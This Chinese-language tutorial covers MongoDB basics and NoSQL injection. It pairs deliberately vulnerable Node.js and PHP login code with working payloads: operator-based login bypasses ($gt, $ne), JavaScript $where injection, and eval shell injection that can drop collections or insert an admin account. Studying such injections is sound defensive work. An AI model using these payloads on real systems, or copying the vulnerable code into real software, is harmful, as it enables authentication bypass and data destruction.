共计 4698 个字符,预计需要花费 12 分钟才能阅读完成。
什么是NoSQL?
NoSQL就是 Not Only SQL,我们知道常见的数据库除了有Mysql,SQLITE,MSSQL这种关系型数据库以外还有MongoDB这种非关系型数据库。
由于NoSQL具有较于传统数据库的大数据量、高拓展性、灵活等优势,使用量也日益增长。
c基础
可以去runnoob看看
c 是一个文档型数据库,数据以类似 JSON 的文档形式存储。
MongoDB 的设计理念是为了应对大数据量、高性能和灵活性需求。
MongoDB使用集合(Collections)来组织文档(Documents),每个文档都是由键值对组成的。
- 数据库(Database):存储数据的容器,类似于关系型数据库中的数据库。
- 集合(Collection):数据库中的一个集合,类似于关系型数据库中的表。
- 文档(Document):集合中的一个数据记录,类似于关系型数据库中的行(row),以 BSON 格式存储。

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成,文档类似于 JSON 对象,字段值可以包含其他文档,数组及文档数组:

建议看下这个20分钟入门课程,对后面很有帮助mongodb教程
基础命令
这里我们先讲一些MongoDB常用命令
数据库操作
show dbs #显示数据库

use test #切换到test数据库

值得注意的是MongoDB和Mysql不同,MySQL不存在一个数据库的时候是无法切换到这个数据库的,但MongoDB可以。但是你需要创建数据后才能在show dbs看到这个数据库
集合操作
MongoDB的集合有点类似MySQL中的表
我们可以使用db.createCollection("test")来创建集合

或者是我们对一个不存在的集合插入数据时就自动创建这个集合了
db.test2.insertOne({name:"Rycarl"})


要查看数据库中所有的集合,我们可以使用show tables 或 show collections

我们可以在find()语句里面插入条件查找我们需要的东西,这同时涉及到一个新的东西——
比较操作符

$eq (等于)
语法格式:
{ field: { $eq: value } }
查找年龄等于 25 的人:
db.collection.find({ age: { $eq: 25 } })
$ne (不等于)
语法格式:
{ field: { $ne: value } }
查找年龄不等于 25 的人:
db.collection.find({ age: { $ne: 25 } })
$gt (大于)
语法格式:
{ field: { $gt: value } }
查找年龄大于 25 的人:
db.collection.find({ age: { $gt: 25 } })
$gte (大于等于)
语法格式:
{ field: { $gte: value } }
查找年龄大于或等于 25 的人:
db.collection.find({ age: { $gte: 25 } })
$lt (小于)
语法格式:
{ field: { $lt: value } }
查找年龄小于 25 的人:
db.collection.find({ age: { $lt: 25 } })
$lte (小于等于)
语法格式:
{ field: { $lte: value } }
查找年龄小于或等于25的人:
db.collection.find({ age: { $lte: 25 } })
$in (值在数组中)
语法格式:
{ field: { $in: [value1, value2, ...] } }
查找年龄在 20、25 和 30 岁之间的人:
db.collection.find({ age: { $in: [20, 25, 30] } })
$nin (值不在数组中)
语法格式:
{ field: { $nin: [value1, value2, ...] } }
查找年龄不在 20、25 和 30 岁之间的人:
db.collection.find({ age: { $nin: [20, 25, 30] } })
NoSQL注入
和SQL注入原理一样是将代码和用户输入的边界混淆
nodejs
例如
const express = require('express');
const { MongoClient } = require('mongodb');
const app = express();
app.use(express.json());
app.post('/login', async (req, res) => {
const client = new MongoClient('mongodb://localhost:27017');
await client.connect();
const db = client.db('myDatabase');
const user = await db.collection('users').findOne(req.body);
if (user) {
res.send("登录成功!用户ID: " + user._id);
} else {
res.send("登录失败");
}
await client.close();
});
app.listen(3000, () => console.log('服务已启动'));
当我们的Content-Type为application/json时,后端会自动将json转换成对象导致NoSQL注入
假设我们传个
{“username”: “admin”, “password”: {“$gt”: “”}}
服务器后端将password的值实例化成对象传入导致NoSQL注入
这个password的值是{“$gt”: “”},就是大于空字符串的,只要密码存在肯定大于空字符串,即恒为真。
php
演示代码
// 假设这是你的登录处理逻辑
$username = $_POST['username'];
$password = $_POST['password'];
// 程序员以为 $username 和 $password 一定是字符串
$filter = [
'username' => $username,
'password' => $password
];
// 直接将数组传给 MongoDB 驱动
$user = $collection->findOne($filter);
if ($user) {
echo "登录成功";
}
在 PHP 中,如果你通过 POST 或 GET 提交参数时使用了方括号(比如 username[foo]=bar),PHP 会自动将其解析为关联数组。
当我们传入username[$ne]=&password[$ne]=时候被解析为数组
会返回查找用户名不为空且密码不为空的用户,数据库直接返回第一条符合条件的记录(通常就是管理员),登录瞬间被绕过。
联合注入
类似于SQL注入,代码对查询语句进行了字符串拼接,然后直接查询:
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
可以这样构造:
?username=test'});return {username:db.version(),password:1};})//
MongoDB支持JavaScript,所以有了上面的操作,可以看到payload里利用了注释符,思路和SQL注入一样
不过现在的PHP等语言的驱动,好像不能直接拼接,必须要像之前的那样数组的方式来查询了,所以这个可能用处不大,但是既然支持JavaScript,那么也就表明,我们可以借助JavaScript来进行一些攻击
MongoDB Server-Side JavaScript Injection
MongoDB 允许在服务器端执行 JavaScript,主要通过以下几个核心功能/操作符:
$where: 它允许你传入一个 JavaScript 字符串,该字符串在服务器上对每个文档进行求值。-
mapReduce: 通过编写 map 和 reduce 函数来处理数据。 -
group: 分组查询(现已基本废弃,但旧系统可能存在)。 -
eval(已废弃): 直接在服务器上运行一段 JS 代码。
当你在代码中拼接字符串并将其传入这些函数时,攻击者就可以通过闭合你的字符串,插入他们自己的逻辑,甚至执行恶意系统操作。
比如这里
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}";
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo '====Login Success====<br>';
echo 'username: '.$user['username']."<br>";
echo 'password: '.$user['password']."<br>";
}
}
else{
echo 'Login Failed';
}
?>
如果我们传入payload: ?username=test&password=a';return true;var c=',js就会变为:
function() {
var username = 'test';
var password = 'a; return true; var c='';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}
MongoDB Shell注入
在php中MongoDB是有eval函数的,如果eval执行的语句里面有拼接用户输入就会导致shell注入
比如
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"
$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'test', $cmd );
?>
这里直接将$username拼接进语句然后执行shell命令,我们可以闭合后执行其他语句(有点像堆叠注入)
我们同样可以构造payload: '});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'进行插入操作,因为是直接操作的mongodb shell,所以在shell里能做的增删改查,我们都可以做。
参考文章:
https://chenlvtang.top/2021/09/29/NoSQL%E6%B3%A8%E5%85%A5%E3%81%AE%E5%88%9D%E8%A7%81/
